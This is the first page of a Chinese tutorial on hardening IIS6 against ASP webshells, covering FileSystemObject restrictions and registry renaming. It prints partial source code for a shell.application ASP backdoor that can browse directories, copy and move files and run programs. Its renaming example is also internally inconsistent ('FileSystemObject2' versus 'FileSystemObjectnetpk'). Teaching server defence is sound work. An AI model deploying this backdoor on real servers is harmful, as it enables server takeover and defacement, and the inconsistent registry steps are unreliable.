|
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论 阅读提示:
10、IIS6下防范WebShell安全配置:
前几节中,我们已经介绍过了如何在IIS6下配置CGI、PHP,在Win2003系统下,ASP和ASPX都是系统组件,都可以在“开始菜单” →“控制面版”→“添加删除程序”里安装及删除的。关于安装及配置上述组件的方法在这里不再详述。
(1)配置一个简单的WWW虚拟主机:
现在我们举例如何组建一个WWW的虚拟主机网站,我们现在打开“Internet 信息服务(IIS)管理器”,在左栏窗口中双击“网站”会展开一个关联菜单,找到“默认网站”点击右键出现一个菜单,选择菜单里的“属性”选项,弹出一个“默认网站属性”窗口,现在我们选择“网站”标签,在“IP地址(I)”的右栏里输入你机器的IP地址,本例中,我们的IP地址输入为 192.168.0.8 ,这个IP地址就是我本机的IP地址,在“TCP端口(T)”里我们可以看到默认的浏览窗口是80,在这里我们可以更改浏览网站的端口号,点击右栏的“高级(D)”按钮,我们可以在里面添加或删除我们网站的浏览域名,当然这个域名是你在Internet上申请来的,并把域名的A记录指向到了你的本机IP,以后我们就可以使用域名记录来访问你的网站了。
现在我们来配置这个虚拟主机的WWW访问目录,我们点击“主目录”标签,在“本地路径(C)”的右栏里输入你这个虚拟主机在WWW所要浏览的目录,在本例中,我们输入D:\cnhack ,这样明人就能在WWW上通过 http 协议访问我们服务器里的 D:\cnhack 目录里的资源了。在“本地路径(C)”的下方有多个可勾选的选项,一般我们保留默认的就行了,千万不要勾选“写入”项,因为这样将会导致服务器的安全问题,一般我们只使用默认的“读取(R)、记录访问(V)、索引资源(I)”就已经足够了。如下图(图23)所示:

(图23)
我们还可以在“文档”标签里添加虚拟主机默认的首页文件名等,这样一个简单的虚拟主机服务就配置完成了。如果你已经按上几节所写的配置过成,那么现在你的这个虚拟主机将会是已经支持ASP、ASPX、CGI、PHP、FSO、JMAIL、MySql、SMTP、POP3、FTP、3389终端服务、远程桌面Web连接管理服务等功能强大的服务器了。
(2)、安全使用FSO主机:
其实按我们上一节所说的配置一个简单的虚拟主机,这样的主机是存在各种WEBSHELL的威胁的,假如你给朋友开了个虚拟主机空间,那么这个虚拟主机存在的最大安全隐患将会是FSO权限问题,其实FSO的安全隐患在Win2K系统里已经是令网管头疼的事了,但在Win2003中这个FSO的安全隐患却依然没有解决,在没有经过安全配置的虚拟主机下,只要黑客给虚拟主机空间上传一个ASP木马,黑客就能利用FSO权限浏览服务器里的所有文件,并能复制、删除服务器里的所有文件,甚至能利用ASP木马取得服务器的管理权,可见FSO安全配置的重要性。
下面我们举例,如果黑客通过某些手段在你的虚拟主机空间上传了一个ASP木马,那么就等于黑客已经拥有了一个WEBSHELL,黑客可以通过这个WEBSHELL控制整台服务器里的数据,本例中我们介绍的是黑客们都熟悉的海阳顶端asp木马,这种WEBSHELL能通过网页在线更改、编辑、删除、移动、上传、下载服务器上的任意文件,只要黑客给你的服务器传上这个ASP木马,你的服务器上的所有文件就会控制在黑客的手上,黑客能在你的服务器干什么?就是上面提及到的。更改、删除、移动……如下图(图24)所示:

(图24)
看到这个图,你也能想像到你的服务器到最后会变得怎么样了,你服务器上的资料将没有隐私可言了,想黑你服务器上的主页或是删除你服务器上的文件都是点几下鼠标就能办到的了。这种ASP木马网络上各黑客网站均有下载,源代码就不便写出来了。各黑客网站上还有其它版本的ASP木马下载,但基本上都是调用FSO(Scripting.FileSystemObject)写的。
其实你如果要防范这种攻击,你只要把ASP中的FSO(Scripting.FileSystemObject)功能删除就行了,删除FSO权限方法就是在CMD的命令提示符下输入以下命令:
Regsvr32 /u c:\windows\system32\scrrun.dll
注意:在实际操作的时候要更改成为你本地系统安装目录的实际路径,但是使用这种方法删除也太绝了一点,如果以后我们想使用FSO权限,那就用不了啦。所以建议不要使用这种方法删除FSO权限,
显而易见,如果这样做,那么包括站点系统管理员在内的任何人都将不可以使用FileSystemObject对象了,这其实并不是站点管理人员想要得到的结果,毕竟我们使用这个对象可以实现方便的在线站台管理,如果连系统管理员都没法使用了,那可就得不偿失了,但是不禁止这个危险的对象又会给自己的站点带来安全漏洞。那么有没有两全其美的方法呢?有!具体方法如下:
我们可以做到禁止其他人非法使用FileSystemObject对象,但是我们自己仍然可以使用这个对象。
方法如下:
查找注册表中
HKEY_CLASSES_ROOT\Scripting.FileSystemObject 键值
将其更改成为你想要的字符串(右键-->"重命名"),比如更改成为
HKEY_CLASSES_ROOT\Scripting.FileSystemObject2
这样,在ASP就必须这样引用这个对象了:
Set fso = CreateObject("Scripting.FileSystemObjectnetpk")
而不能使用:
Set fso = CreateObject("Scripting.FileSystemObject")
如果你使用通常的方法来调用FileSystemObject对象就会无法使用了。
呵呵,只要你不告诉别人这个更改过的对象名称,其他人是无法使用FileSystemObject对象的。这样,作为站点管理者我们就杜绝了他人非法使用FileSystemObject对象,而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了!
(3)免FSO对像就能使用的ASP木马防范方法:
对于这种免FSO对像就能使用的ASP木马,由于少了FSO对像的支持,功能上当然不会很强大的了,只有浏览服务器上的文件目录,复制、移动文件、执行指定路径的程序文件等功能。以下是当你浏览这个ASP木马时,所出现的图例,如(图25)所示:

(图25)
你可以通过这个免FSO支持的ASP木马对服务器上的文件进行任意的复制及移动和执行程序,这个木马程的功能随然简单,但是用它来黑一个网站就是已经足够的了。比如,我们可以把网站的首页移动到其它地方,然后我们再复制一个同名的黑客网页进去就行了。使用执行程序功能让服务器执行任意的木马程序以取得服务器的ADMIN管理权等。
以下我给出这个免FSO对像的ASP源代码,代码如下:
<%response.write "<font size=6 color=red>一次只能执行一个操作:)</font>" %>
<%response.write now()%><BR>程序所在的物理路径:
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
<html>
<title>asp's shell.application backdoor </title>
<body>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=text value="<%=szCMD %>"> 输入要浏览的目录<br>
<input type=text name=text1 value="<%=szCMD1 %>">
copy
<input type=text name=text2 value="<%=szCMD2 %>"><br>
<input type=text name=text3 value="<%=szCMD3 %>">
move
<input type=text name=text4 value="<%=szCMD4 %>"><br>
路径:<input type=text name=text5 value="<%=szCMD5 %>">
程序:<input type=text name=text6 value="<%=szCMD6 %>"><br>
<input type=submit name=sb value=发送命令>
</form>
</body>
</html>
<%
szCMD = Request.Form("text") '目录浏览
if (szCMD <> "") then
set shell=server.createobject("shell.application") '建立shell对象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "< [1] [2] [3] 下一页
您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力 |